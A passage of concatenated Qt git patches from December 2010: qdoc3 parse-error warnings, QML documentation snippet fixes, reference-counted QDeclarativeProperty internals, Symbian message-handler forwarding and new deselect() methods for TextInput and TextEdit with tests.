markedUpCode(const QString& code, const Node *relative, - const QString& dirPath); + const Location &location); virtual QString markedUpSynopsis(const Node *node, const Node *relative, SynopsisStyle style); @@ -90,7 +90,7 @@ class CppCodeMarker : public CodeMarker private: QString addMarkUp(const QString& protectedCode, const Node *relative, - const QString& dirPath); + const Location &location); }; QT_END_NAMESPACE diff --git a/tools/qdoc3/doc.cpp b/tools/qdoc3/doc.cpp index ce9e30d..774f8ba 100644 --- a/tools/qdoc3/doc.cpp +++ b/tools/qdoc3/doc.cpp @@ -536,7 +536,7 @@ void DocParser::parse(const QString& source, enterPara(); x = untabifyEtc(getArgument(true)); marker = CodeMarker::markerForCode(x); - append(Atom::C, marker->markedUpCode(x, 0, "")); + append(Atom::C, marker->markedUpCode(x, 0, location())); break; case CMD_CAPTION: leavePara(); @@ -2305,7 +2305,7 @@ QString DocParser::getCode(int cmd, CodeMarker *marker) code = unindent(minIndent, code); if (!marker) marker = CodeMarker::markerForCode(code); - return marker->markedUpCode(code, 0, ""); + return marker->markedUpCode(code, 0, location()); } /*! @@ -3043,7 +3043,7 @@ CodeMarker *Doc::quoteFromFile(const Location &location, CodeMarker *marker = CodeMarker::markerForFileName(fileName); quoter.quoteFromFile(userFriendlyFilePath, code, - marker->markedUpCode(code, 0, dirPath)); + marker->markedUpCode(code, 0, location)); return marker; } diff --git a/tools/qdoc3/jscodemarker.cpp b/tools/qdoc3/jscodemarker.cpp index 84a28c6..80df0aa 100644 --- a/tools/qdoc3/jscodemarker.cpp +++ b/tools/qdoc3/jscodemarker.cpp @@ -103,14 +103,14 @@ bool JsCodeMarker::recognizeLanguage(const QString &language) QString JsCodeMarker::markedUpCode(const QString &code, const Node *relative, - const QString &dirPath) + const Location &location) { - return addMarkUp(code, relative, dirPath); + return addMarkUp(code, relative, location); } QString JsCodeMarker::addMarkUp(const QString &code, const Node * /* relative */, - const QString & /* dirPath */) + const Location &location) { QDeclarativeJS::Engine engine; QDeclarativeJS::Lexer lexer(&engine); @@ -130,7 +130,13 @@ QString JsCodeMarker::addMarkUp(const QString &code, QmlMarkupVisitor visitor(code, pragmas, &engine); QDeclarativeJS::AST::Node::accept(ast, &visitor); output = visitor.markedUpCode(); + } else { + location.warning(tr("Unable to parse JavaScript: \"%1\" at line %2, column %3").arg( + parser.errorMessage()).arg(parser.errorLineNumber()).arg( + parser.errorColumnNumber())); + output = protect(code); } + return output; } diff --git a/tools/qdoc3/jscodemarker.h b/tools/qdoc3/jscodemarker.h index f7cb025..6d85063 100644 --- a/tools/qdoc3/jscodemarker.h +++ b/tools/qdoc3/jscodemarker.h @@ -62,11 +62,11 @@ public: virtual QString markedUpCode(const QString &code, const Node *relative, - const QString &dirPath); + const Location &location); private: - QString addMarkUp(const QString &code, const Node * /* relative */, - const QString & /* dirPath */); + QString addMarkUp(const QString &code, const Node *relative, + const Location &location); }; QT_END_NAMESPACE diff --git a/tools/qdoc3/plaincodemarker.cpp b/tools/qdoc3/plaincodemarker.cpp index d825c13..9819593 100644 --- a/tools/qdoc3/plaincodemarker.cpp +++ b/tools/qdoc3/plaincodemarker.cpp @@ -78,7 +78,7 @@ QString PlainCodeMarker::plainFullName(const Node * /* node */, const Node * /* QString PlainCodeMarker::markedUpCode( const QString& code, const Node * /* relative */, - const QString& /* dirPath */ ) + const Location & /* location */ ) { return protect( code ); } diff --git a/tools/qdoc3/plaincodemarker.h b/tools/qdoc3/plaincodemarker.h index 7afb88e..1c469a0 100644 --- a/tools/qdoc3/plaincodemarker.h +++ b/tools/qdoc3/plaincodemarker.h @@ -61,7 +61,7 @@ public: bool recognizeLanguage( const QString& lang ); QString plainName( const Node *node ); QString plainFullName( const Node *node, const Node *relative ); - QString markedUpCode( const QString& code, const Node *relative, const QString& dirPath ); + QString markedUpCode( const QString& code, const Node *relative, const Location &location ); QString markedUpSynopsis( const Node *node, const Node *relative, SynopsisStyle style ); QString markedUpName( const Node *node ); diff --git a/tools/qdoc3/qmlcodemarker.cpp b/tools/qdoc3/qmlcodemarker.cpp index 1e4ad1e..fc91cbb 100644 --- a/tools/qdoc3/qmlcodemarker.cpp +++ b/tools/qdoc3/qmlcodemarker.cpp @@ -134,9 +134,9 @@ QString QmlCodeMarker::plainFullName(const Node *node, const Node *relative) QString QmlCodeMarker::markedUpCode(const QString &code, const Node *relative, - const QString &dirPath) + const Location &location) { - return addMarkUp(code, relative, dirPath); + return addMarkUp(code, relative, location); } QString QmlCodeMarker::markedUpName(const Node *node) @@ -174,7 +174,8 @@ QString QmlCodeMarker::markedUpIncludes(const QStringList& includes) code += "import " + *inc + "\n"; ++inc; } - return protect(addMarkUp(code, 0, "")); + Location location; + return protect(addMarkUp(code, 0, location)); } QString QmlCodeMarker::functionBeginRegExp(const QString& funcName) @@ -190,7 +191,7 @@ QString QmlCodeMarker::functionEndRegExp(const QString& /* funcName */) QString QmlCodeMarker::addMarkUp(const QString &code, const Node * /* relative */, - const QString & /* dirPath */) + const Location &location) { QDeclarativeJS::Engine engine; QDeclarativeJS::Lexer lexer(&engine); @@ -210,7 +211,13 @@ QString QmlCodeMarker::addMarkUp(const QString &code, QmlMarkupVisitor visitor(code, pragmas, &engine); QDeclarativeJS::AST::Node::accept(ast, &visitor); output = visitor.markedUpCode(); + } else { + location.warning(tr("Unable to parse QML: \"%1\" at line %2, column %3").arg( + parser.errorMessage()).arg(parser.errorLineNumber()).arg( + parser.errorColumnNumber())); + output = protect(code); } + return output; } diff --git a/tools/qdoc3/qmlcodemarker.h b/tools/qdoc3/qmlcodemarker.h index 68e6753..b1d365c 100644 --- a/tools/qdoc3/qmlcodemarker.h +++ b/tools/qdoc3/qmlcodemarker.h @@ -64,7 +64,7 @@ public: virtual QString plainFullName(const Node *node, const Node *relative); virtual QString markedUpCode(const QString &code, const Node *relative, - const QString &dirPath); + const Location &location); virtual QString markedUpName(const Node *node); virtual QString markedUpFullName(const Node *node, const Node *relative); @@ -76,8 +76,8 @@ public: QList extractPragmas(QString &script); private: - QString addMarkUp(const QString &code, const Node * /* relative */, - const QString & /* dirPath */); + QString addMarkUp(const QString &code, const Node *relative, + const Location &location); }; QT_END_NAMESPACE -- cgit v0.12 From 2143a50d274d36e4fe779de2c732c66f47496ace Mon Sep 17 00:00:00 2001 From: David Boddie Date: Tue, 21 Dec 2010 20:21:47 +0100 Subject: Doc: Fixed QML syntax in quoted code snippets. --- doc/src/declarative/extending.qdoc | 2 +- .../declarative/states/statechangescript.qml | 61 ++++++++++++++++++++++ src/declarative/util/qdeclarativeconnections.cpp | 8 +-- .../util/qdeclarativestateoperations.cpp | 20 +------ 4 files changed, 67 insertions(+), 24 deletions(-) create mode 100644 doc/src/snippets/declarative/states/statechangescript.qml diff --git a/doc/src/declarative/extending.qdoc b/doc/src/declarative/extending.qdoc index 748ec6c..c34dc13 100644 --- a/doc/src/declarative/extending.qdoc +++ b/doc/src/declarative/extending.qdoc @@ -823,7 +823,7 @@ If the \l{Item::children}{children} property was not the default property for \qml Item { children: [ - Rectangle {} + Rectangle {}, Rectangle {} ] } diff --git a/doc/src/snippets/declarative/states/statechangescript.qml b/doc/src/snippets/declarative/states/statechangescript.qml new file mode 100644 index 0000000..b885137 --- /dev/null +++ b/doc/src/snippets/declarative/states/statechangescript.qml @@ -0,0 +1,61 @@ +/**************************************************************************** +** +** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies). +** All rights reserved. +** Contact: Nokia Corporation (qt-info@nokia.com) +** +** This file is part of the documentation of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:BSD$ +** You may use this file under the terms of the BSD license as follows: +** +** "Redistribution and use in source and binary forms, with or without +** modification, are permitted provided that the following conditions are +** met: +** * Redistributions of source code must retain the above copyright +** notice, this list of conditions and the following disclaimer. +** * Redistributions in binary form must reproduce the above copyright +** notice, this list of conditions and the following disclaimer in +** the documentation and/or other materials provided with the +** distribution. +** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor +** the names of its contributors may be used to endorse or promote +** products derived from this software without specific prior written +** permission. +** +** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS +** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT +** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR +** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT +** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, +** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT +** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, +** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY +** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT +** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE +** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." +** $QT_END_LICENSE$ +** +****************************************************************************/ + +Item { +//! [state and transition] +State { + name: "state1" + StateChangeScript { + name: "myScript" + script: doStateStuff(); + } + // ... +} +// ... +Transition { + to: "state1" + SequentialAnimation { + NumberAnimation { /* ... */ } + ScriptAction { scriptName: "myScript" } + NumberAnimation { /* ... */ } + } +} +//! [state and transition] +} diff --git a/src/declarative/util/qdeclarativeconnections.cpp b/src/declarative/util/qdeclarativeconnections.cpp index 15e5ac5..8b3a9da 100644 --- a/src/declarative/util/qdeclarativeconnections.cpp +++ b/src/declarative/util/qdeclarativeconnections.cpp @@ -82,7 +82,7 @@ public: \qml MouseArea { - onClicked: { foo(...) } + onClicked: { foo(parameters) } } \endqml @@ -103,7 +103,7 @@ public: \qml MouseArea { Connections { - onClicked: foo(...) + onClicked: foo(parameters) } } \endqml @@ -115,10 +115,10 @@ public: MouseArea { id: area } - ... + // ... Connections { target: area - onClicked: foo(...) + onClicked: foo(parameters) } \endqml diff --git a/src/declarative/util/qdeclarativestateoperations.cpp b/src/declarative/util/qdeclarativestateoperations.cpp index d1d7822..1df9013 100644 --- a/src/declarative/util/qdeclarativestateoperations.cpp +++ b/src/declarative/util/qdeclarativestateoperations.cpp @@ -599,25 +599,7 @@ public: ScriptAction to specify the point in the transition at which the StateChangeScript should to be run. - \qml - State { - name "state1" - StateChangeScript { - name: "myScript" - script: doStateStuff(); - } - ... - } - ... - Transition { - to: "state1" - SequentialAnimation { - NumberAnimation { ... } - ScriptAction { scriptName: "myScript" } - NumberAnimation { ... } - } - } - \endqml + \snippet snippets/declarative/states/statechangescript.qml state and transition \sa ScriptAction */ -- cgit v0.12 From 042e797a21a88ccafbaf54bbcfbf1e8d75b33740 Mon Sep 17 00:00:00 2001 From: Michael Brasser Date: Wed, 22 Dec 2010 10:29:43 +1000 Subject: Optimization: make QDeclarativePropertyPrivate shared. Task-number: QTBUG-15331 Reviewed-by: Aaron Kennedy --- src/declarative/qml/qdeclarativeproperty.cpp | 98 +++++++++++++++++----------- src/declarative/qml/qdeclarativeproperty_p.h | 13 +--- 2 files changed, 64 insertions(+), 47 deletions(-) diff --git a/src/declarative/qml/qdeclarativeproperty.cpp b/src/declarative/qml/qdeclarativeproperty.cpp index 8eaa98b..d7cf6cc 100644 --- a/src/declarative/qml/qdeclarativeproperty.cpp +++ b/src/declarative/qml/qdeclarativeproperty.cpp @@ -106,15 +106,16 @@ qWarning() << "Pixel size should now be 24:" << property.read().toInt(); Create an invalid QDeclarativeProperty. */ QDeclarativeProperty::QDeclarativeProperty() -: d(new QDeclarativePropertyPrivate) +: d(0) { - d->q = this; } /*! \internal */ QDeclarativeProperty::~QDeclarativeProperty() { - delete d; d = 0; + if (d) + d->release(); + d = 0; } /*! @@ -124,7 +125,6 @@ QDeclarativeProperty::~QDeclarativeProperty() QDeclarativeProperty::QDeclarativeProperty(QObject *obj) : d(new QDeclarativePropertyPrivate) { - d->q = this; d->initDefault(obj); } @@ -137,7 +137,6 @@ QDeclarativeProperty::QDeclarativeProperty(QObject *obj) QDeclarativeProperty::QDeclarativeProperty(QObject *obj, QDeclarativeContext *ctxt) : d(new QDeclarativePropertyPrivate) { - d->q = this; d->context = ctxt?QDeclarativeContextData::get(ctxt):0; d->engine = ctxt?ctxt->engine():0; d->initDefault(obj); @@ -152,7 +151,6 @@ QDeclarativeProperty::QDeclarativeProperty(QObject *obj, QDeclarativeContext *ct QDeclarativeProperty::QDeclarativeProperty(QObject *obj, QDeclarativeEngine *engine) : d(new QDeclarativePropertyPrivate) { - d->q = this; d->context = 0; d->engine = engine; d->initDefault(obj); @@ -178,7 +176,6 @@ void QDeclarativePropertyPrivate::initDefault(QObject *obj) QDeclarativeProperty::QDeclarativeProperty(QObject *obj, const QString &name) : d(new QDeclarativePropertyPrivate) { - d->q = this; d->initProperty(obj, name); if (!isValid()) d->object = 0; } @@ -190,7 +187,6 @@ QDeclarativeProperty::QDeclarativeProperty(QObject *obj, const QString &name) QDeclarativeProperty::QDeclarativeProperty(QObject *obj, const QString &name, QDeclarativeContext *ctxt) : d(new QDeclarativePropertyPrivate) { - d->q = this; d->context = ctxt?QDeclarativeContextData::get(ctxt):0; d->engine = ctxt?ctxt->engine():0; d->initProperty(obj, name); @@ -205,7 +201,6 @@ QDeclarativeProperty::QDeclarativeProperty(QObject *obj, const QString &name, QD QDeclarativeProperty::QDeclarativeProperty(QObject *obj, const QString &name, QDeclarativeEngine *engine) : d(new QDeclarativePropertyPrivate) { - d->q = this; d->context = 0; d->engine = engine; d->initProperty(obj, name); @@ -324,9 +319,10 @@ void QDeclarativePropertyPrivate::initProperty(QObject *obj, const QString &name Create a copy of \a other. */ QDeclarativeProperty::QDeclarativeProperty(const QDeclarativeProperty &other) -: d(new QDeclarativePropertyPrivate(*other.d)) { - d->q = this; + d = other.d; + if (d) + d->addref(); } /*! @@ -355,13 +351,13 @@ QDeclarativeProperty::QDeclarativeProperty(const QDeclarativeProperty &other) */ QDeclarativeProperty::PropertyTypeCategory QDeclarativeProperty::propertyTypeCategory() const { - return d->propertyTypeCategory(); + return d ? d->propertyTypeCategory() : InvalidCategory; } QDeclarativeProperty::PropertyTypeCategory QDeclarativePropertyPrivate::propertyTypeCategory() const { - uint type = q->type(); + uint type = this->type(); if (isValueType()) { return QDeclarativeProperty::Normal; @@ -388,6 +384,8 @@ QDeclarativePropertyPrivate::propertyTypeCategory() const */ const char *QDeclarativeProperty::propertyTypeName() const { + if (!d) + return 0; if (d->isValueType()) { QDeclarativeEnginePrivate *ep = QDeclarativeEnginePrivate::get(d->context); @@ -414,6 +412,8 @@ const char *QDeclarativeProperty::propertyTypeName() const */ bool QDeclarativeProperty::operator==(const QDeclarativeProperty &other) const { + if (!d || !other.d) + return false; // category is intentially omitted here as it is generated // from the other members return d->object == other.d->object && @@ -427,7 +427,7 @@ bool QDeclarativeProperty::operator==(const QDeclarativeProperty &other) const */ int QDeclarativeProperty::propertyType() const { - return d->propertyType(); + return d ? d->propertyType() : QVariant::Invalid; } bool QDeclarativePropertyPrivate::isValueType() const @@ -437,7 +437,7 @@ bool QDeclarativePropertyPrivate::isValueType() const int QDeclarativePropertyPrivate::propertyType() const { - uint type = q->type(); + uint type = this->type(); if (isValueType()) { return valueType.valueTypePropType; } else if (type & QDeclarativeProperty::Property) { @@ -450,17 +450,22 @@ int QDeclarativePropertyPrivate::propertyType() const } } +QDeclarativeProperty::Type QDeclarativePropertyPrivate::type() const +{ + if (core.flags & QDeclarativePropertyCache::Data::IsFunction) + return QDeclarativeProperty::SignalProperty; + else if (core.isValid()) + return QDeclarativeProperty::Property; + else + return QDeclarativeProperty::Invalid; +} + /*! Returns the type of the property. */ QDeclarativeProperty::Type QDeclarativeProperty::type() const { - if (d->core.flags & QDeclarativePropertyCache::Data::IsFunction) - return SignalProperty; - else if (d->core.isValid()) - return Property; - else - return Invalid; + return d ? d->type() : Invalid; } /*! @@ -484,7 +489,7 @@ bool QDeclarativeProperty::isSignalProperty() const */ QObject *QDeclarativeProperty::object() const { - return d->object; + return d ? d->object : 0; } /*! @@ -492,15 +497,11 @@ QObject *QDeclarativeProperty::object() const */ QDeclarativeProperty &QDeclarativeProperty::operator=(const QDeclarativeProperty &other) { - d->context = other.d->context; - d->engine = other.d->engine; - d->object = other.d->object; - - d->isNameCached = other.d->isNameCached; - d->core = other.d->core; - d->nameCache = other.d->nameCache; - - d->valueType = other.d->valueType; + if (d) + d->release(); + d = other.d; + if (d) + d->addref(); return *this; } @@ -510,6 +511,8 @@ QDeclarativeProperty &QDeclarativeProperty::operator=(const QDeclarativeProperty */ bool QDeclarativeProperty::isWritable() const { + if (!d) + return false; if (!d->object) return false; if (d->core.flags & QDeclarativePropertyCache::Data::IsQList) //list @@ -527,6 +530,8 @@ bool QDeclarativeProperty::isWritable() const */ bool QDeclarativeProperty::isDesignable() const { + if (!d) + return false; if (type() & Property && d->core.isValid() && d->object) return d->object->metaObject()->property(d->core.coreIndex).isDesignable(); else @@ -538,6 +543,8 @@ bool QDeclarativeProperty::isDesignable() const */ bool QDeclarativeProperty::isResettable() const { + if (!d) + return false; if (type() & Property && d->core.isValid() && d->object) return d->core.flags & QDeclarativePropertyCache::Data::IsResettable; else @@ -550,6 +557,8 @@ bool QDeclarativeProperty::isResettable() const */ bool QDeclarativeProperty::isValid() const { + if (!d) + return false; return type() != Invalid; } @@ -558,6 +567,8 @@ bool QDeclarativeProperty::isValid() const */ QString QDeclarativeProperty::name() const { + if (!d) + return QString(); if (!d->isNameCached) { // ### if (!d->object) { @@ -594,6 +605,8 @@ QString QDeclarativeProperty::name() const */ QMetaProperty QDeclarativeProperty::property() const { + if (!d) + return QMetaProperty(); if (type() & Property && d->core.isValid() && d->object) return d->object->metaObject()->property(d->core.coreIndex); else @@ -606,6 +619,8 @@ QMetaProperty QDeclarativeProperty::property() const */ QMetaMethod QDeclarativeProperty::method() const { + if (!d) + return QMetaMethod(); if (type() & SignalProperty && d->object) return d->object->metaObject()->method(d->core.coreIndex); else @@ -619,7 +634,7 @@ QMetaMethod QDeclarativeProperty::method() const QDeclarativeAbstractBinding * QDeclarativePropertyPrivate::binding(const QDeclarativeProperty &that) { - if (!that.isProperty() || !that.d->object) + if (!that.d || !that.isProperty() || !that.d->object) return 0; return binding(that.d->object, that.d->core.coreIndex, that.d->valueType.valueTypeCoreIdx); @@ -643,7 +658,7 @@ QDeclarativePropertyPrivate::setBinding(const QDeclarativeProperty &that, QDeclarativeAbstractBinding *newBinding, WriteFlags flags) { - if (!that.isProperty() || !that.d->object) { + if (!that.d || !that.isProperty() || !that.d->object) { if (newBinding) newBinding->destroy(); return 0; @@ -893,6 +908,8 @@ QDeclarativePropertyPrivate::setSignalExpression(const QDeclarativeProperty &tha */ QVariant QDeclarativeProperty::read() const { + if (!d) + return QVariant(); if (!d->object) return QVariant(); @@ -1034,8 +1051,10 @@ bool QDeclarativePropertyPrivate::writeEnumProperty(const QMetaProperty &prop, i bool QDeclarativePropertyPrivate::writeValueProperty(const QVariant &value, WriteFlags flags) { // Remove any existing bindings on this property - if (!(flags & DontRemoveBinding)) { - QDeclarativeAbstractBinding *binding = setBinding(*q, 0); + if (!(flags & DontRemoveBinding) && + (type() & QDeclarativeProperty::Property) && object) { + QDeclarativeAbstractBinding *binding = setBinding(object, core.coreIndex, + valueType.valueTypeCoreIdx, 0, flags); if (binding) binding->destroy(); } @@ -1314,6 +1333,8 @@ bool QDeclarativeProperty::reset() const bool QDeclarativePropertyPrivate::write(const QDeclarativeProperty &that, const QVariant &value, WriteFlags flags) { + if (!that.d) + return false; if (that.d->object && that.type() & QDeclarativeProperty::Property && that.d->core.isValid() && that.isWritable()) return that.d->writeValueProperty(value, flags); @@ -1392,12 +1413,12 @@ bool QDeclarativeProperty::connectNotifySignal(QObject *dest, const char *slot) */ int QDeclarativeProperty::index() const { - return d->core.coreIndex; + return d ? d->core.coreIndex : -1; } int QDeclarativePropertyPrivate::valueTypeCoreIndex(const QDeclarativeProperty &that) { - return that.d->valueType.valueTypeCoreIdx; + return that.d ? that.d->valueType.valueTypeCoreIdx : -1; } /*! @@ -1406,6 +1427,8 @@ int QDeclarativePropertyPrivate::valueTypeCoreIndex(const QDeclarativeProperty & */ int QDeclarativePropertyPrivate::bindingIndex(const QDeclarativeProperty &that) { + if (!that.d) + return -1; int rv = that.d->core.coreIndex; if (rv != -1 && that.d->valueType.valueTypeCoreIdx != -1) rv = rv | (that.d->valueType.valueTypeCoreIdx << 24); @@ -1457,6 +1480,7 @@ QDeclarativePropertyPrivate::restore(const QByteArray &data, QObject *object, QD if (data.isEmpty()) return prop; + prop.d = new QDeclarativePropertyPrivate; prop.d->object = object; prop.d->context = ctxt; prop.d->engine = ctxt->engine; diff --git a/src/declarative/qml/qdeclarativeproperty_p.h b/src/declarative/qml/qdeclarativeproperty_p.h index 6392f88..f7d24f1 100644 --- a/src/declarative/qml/qdeclarativeproperty_p.h +++ b/src/declarative/qml/qdeclarativeproperty_p.h @@ -65,23 +65,15 @@ QT_BEGIN_NAMESPACE class QDeclarativeContext; class QDeclarativeEnginePrivate; class QDeclarativeExpression; -class Q_DECLARATIVE_PRIVATE_EXPORT QDeclarativePropertyPrivate +class Q_DECLARATIVE_PRIVATE_EXPORT QDeclarativePropertyPrivate : public QDeclarativeRefCount { public: enum WriteFlag { BypassInterceptor = 0x01, DontRemoveBinding = 0x02, RemoveBindingOnAliasWrite = 0x04 }; Q_DECLARE_FLAGS(WriteFlags, WriteFlag) QDeclarativePropertyPrivate() - : q(0), context(0), engine(0), object(0), isNameCached(false) {} - + : context(0), engine(0), object(0), isNameCached(false) {} - QDeclarativePropertyPrivate(const QDeclarativePropertyPrivate &other) - : q(0), context(other.context), engine(other.engine), object(other.object), - isNameCached(other.isNameCached), - core(other.core), nameCache(other.nameCache), - valueType(other.valueType) {} - - QDeclarativeProperty *q; QDeclarativeContextData *context; QDeclarativeEngine *engine; QDeclarativeGuard object; @@ -98,6 +90,7 @@ public: bool isValueType() const; int propertyType() const; + QDeclarativeProperty::Type type() const; QDeclarativeProperty::PropertyTypeCategory propertyTypeCategory() const; QVariant readValueProperty(); -- cgit v0.12 From f44f7084a3020ed8e249644d5b5e07f74cb7b070 Mon Sep 17 00:00:00 2001 From: David Boddie Date: Wed, 22 Dec 2010 15:56:01 +0100 Subject: Doc: Sync with upstream. --- doc/src/snippets/declarative/focus/focusColumn.qml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/doc/src/snippets/declarative/focus/focusColumn.qml b/doc/src/snippets/declarative/focus/focusColumn.qml index 9b761dd..42ee3da 100644 --- a/doc/src/snippets/declarative/focus/focusColumn.qml +++ b/doc/src/snippets/declarative/focus/focusColumn.qml @@ -4,7 +4,7 @@ ** All rights reserved. ** Contact: Nokia Corporation (qt-info@nokia.com) ** -** This file is part of the FOO module of the Qt Toolkit. +** This file is part of the documentation of the Qt Toolkit. ** ** $QT_BEGIN_LICENSE:BSD$ ** You may use this file under the terms of the BSD license as follows: -- cgit v0.12 From 2de60ba30f86a9dd338359f7269b62ca5d0a2c46 Mon Sep 17 00:00:00 2001 From: Joona Petrell Date: Thu, 30 Dec 2010 17:16:16 +1000 Subject: Forward qmlviewer traces to system's default message handler on Symbian Task-number: QTBUG-16353 Reviewed-by: Christopher Ham --- tools/qml/main.cpp | 7 +++---- 1 file changed, 3 insertions(+), 4 deletions(-) diff --git a/tools/qml/main.cpp b/tools/qml/main.cpp index b9513b9..2df96c0 100644 --- a/tools/qml/main.cpp +++ b/tools/qml/main.cpp @@ -88,6 +88,9 @@ void myMessageOutput(QtMsgType type, const char *msg) ::write(fd, "\n", 1); ::fsync(fd); + if (systemMsgOutput) + systemMsgOutput(type, msg); + switch (type) { case QtFatalMsg: abort(); @@ -529,11 +532,7 @@ QDeclarativeViewer *openFile(const QString &fileName) int main(int argc, char ** argv) { -#if defined (Q_OS_SYMBIAN) - qInstallMsgHandler(myMessageOutput); -#else systemMsgOutput = qInstallMsgHandler(myMessageOutput); -#endif #if defined (Q_WS_X11) || defined (Q_WS_MAC) //### default to using raster graphics backend for now -- cgit v0.12 From 22daf9fbdfaa859db6414d39d9354e7d46f63005 Mon Sep 17 00:00:00 2001 From: Joona Petrell Date: Thu, 30 Dec 2010 17:52:30 +1000 Subject: Add convenience deselect() functions to TextInput and TextEdit Task-number: QTBUG-16059 Reviewed-by: Christopher Ham --- src/declarative/graphicsitems/qdeclarativetextedit.cpp | 13 +++++++++++++ src/declarative/graphicsitems/qdeclarativetextedit_p.h | 1 + src/declarative/graphicsitems/qdeclarativetextinput.cpp | 11 +++++++++++ src/declarative/graphicsitems/qdeclarativetextinput_p.h | 1 + .../qdeclarativetextedit/tst_qdeclarativetextedit.cpp | 7 +++++++ .../qdeclarativetextinput/tst_qdeclarativetextinput.cpp | 7 +++++++ 6 files changed, 40 insertions(+) diff --git a/src/declarative/graphicsitems/qdeclarativetextedit.cpp b/src/declarative/graphicsitems/qdeclarativetextedit.cpp index f37fa62..c1314ff 100644 --- a/src/declarative/graphicsitems/qdeclarativetextedit.cpp +++ b/src/declarative/graphicsitems/qdeclarativetextedit.cpp @@ -996,6 +996,19 @@ void QDeclarativeTextEditPrivate::focusChanged(bool hasFocus) } /*! + \qmlmethod void TextEdit::deselect() + + Removes active text selection. +*/ +void QDeclarativeTextEdit::deselect() +{ + Q_D(QDeclarativeTextEdit); + QTextCursor c = d->control->textCursor(); + c.clearSelection(); + d->control->setTextCursor(c); +} + +/*! \qmlmethod void TextEdit::selectAll() Causes all text to be selected. diff --git a/src/declarative/graphicsitems/qdeclarativetextedit_p.h b/src/declarative/graphicsitems/qdeclarativetextedit_p.h index 7f12c85..691d995 100644 --- a/src/declarative/graphicsitems/qdeclarativetextedit_p.h +++ b/src/declarative/graphicsitems/qdeclarativetextedit_p.h @@ -223,6 +223,7 @@ Q_SIGNALS: void selectByMouseChanged(bool selectByMouse); public Q_SLOTS: + void deselect(); void selectAll(); void selectWord(); void select(int start, int end); diff --git a/src/declarative/graphicsitems/qdeclarativetextinput.cpp b/src/declarative/graphicsitems/qdeclarativetextinput.cpp index 4649be8..4e1c297 100644 --- a/src/declarative/graphicsitems/qdeclarativetextinput.cpp +++ b/src/declarative/graphicsitems/qdeclarativetextinput.cpp @@ -1166,6 +1166,17 @@ QVariant QDeclarativeTextInput::inputMethodQuery(Qt::InputMethodQuery property) } /*! + \qmlmethod void TextInput::deselect() + + Removes active text selection. +*/ +void QDeclarativeTextInput::deselect() +{ + Q_D(QDeclarativeTextInput); + d->control->deselect(); +} + +/*! \qmlmethod void TextInput::selectAll() Causes all text to be selected. diff --git a/src/declarative/graphicsitems/qdeclarativetextinput_p.h b/src/declarative/graphicsitems/qdeclarativetextinput_p.h index 06f77e5..878f040 100644 --- a/src/declarative/graphicsitems/qdeclarativetextinput_p.h +++ b/src/declarative/graphicsitems/qdeclarativetextinput_p.h @@ -231,6 +231,7 @@ protected: void focusInEvent(QFocusEvent *event); public Q_SLOTS: + void deselect(); void selectAll(); void selectWord(); void select(int start, int end); diff --git a/tests/auto/declarative/qdeclarativetextedit/tst_qdeclarativetextedit.cpp b/tests/auto/declarative/qdeclarativetextedit/tst_qdeclarativetextedit.cpp index a7971cc..c0bb46e 100644 --- a/tests/auto/declarative/qdeclarativetextedit/tst_qdeclarativetextedit.cpp +++ b/tests/auto/declarative/qdeclarativetextedit/tst_qdeclarativetextedit.cpp @@ -689,6 +689,13 @@ void tst_qdeclarativetextedit::selection() QVERIFY(textEditObject->selectedText().size() == 10); textEditObject->select(0,100); QVERIFY(textEditObject->selectedText().size() == 10); + + textEditObject->deselect(); + QVERIFY(textEditObject->selectedText().isNull()); + textEditObject->select(0,10); + QVERIFY(textEditObject->selectedText().size() == 10); + textEditObject->deselect(); + QVERIFY(textEditObject->selectedText().isNull()); } void tst_qdeclarativetextedit::mouseSelection_data() diff --git a/tests/auto/declarative/qdeclarativetextinput/tst_qdeclarativetextinput.cpp b/tests/auto/declarative/qdeclarativetextinput/tst_qdeclarativetextinput.cpp index 76e0102..589ffa6 100644 --- a/tests/auto/declarative/qdeclarativetextinput/tst_qdeclarativetextinput.cpp +++ b/tests/auto/declarative/qdeclarativetextinput/tst_qdeclarativetextinput.cpp @@ -392,6 +392,13 @@ void tst_qdeclarativetextinput::selection() textinputObject->select(0,100); QVERIFY(textinputObject->selectedText().size() == 10); + textinputObject->deselect(); + QVERIFY(textinputObject->selectedText().isNull()); + textinputObject->select(0,10); + QVERIFY(textinputObject->selectedText().size() == 10); + textinputObject->deselect(); + QVERIFY(textinputObject->selectedText().isNull()); + delete textinputObject; } -- cgit v0.12 From e8b736c44426fd4ae832e82a9e624c9737a40213 Mon Sep 17 00:00:00 2001 From: Joona Petrell Date: Fri, 31 Dec 2010 11:28:08 +1000 Subject: Use deselect() function in text selection example Task-number: QTBUG-16059 Reviewed-by: Christopher Ham --- examples/declarative/text/textselection/textselection.qml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/examples/declarative/text/textselection/textselection.qml b/examples/declarative/text/textselection/textselection.qml index f343be5..c6f44a0 100644 --- a/examples/declarative/text/textselection/textselection.qml +++ b/examples/declarative/text/textselection/textselection.qml @@ -265,7 +265,7 @@ Rectangle { anchors.fill: parent onClicked: { edit.cursorPosition = edit.selectionEnd; - edit.select(edit.cursorPosition, edit.cursorPosition); + edit.deselect(); editor.state = "" } } -- cgit v0.12 From 59ec08d255b7d7bd8975bdbfd0b0a42c1b6ed2a0 Mon Sep 17 00:00:00 2001 From: Joona Petrell Date: Fri, 31 Dec 2010 15:49:48 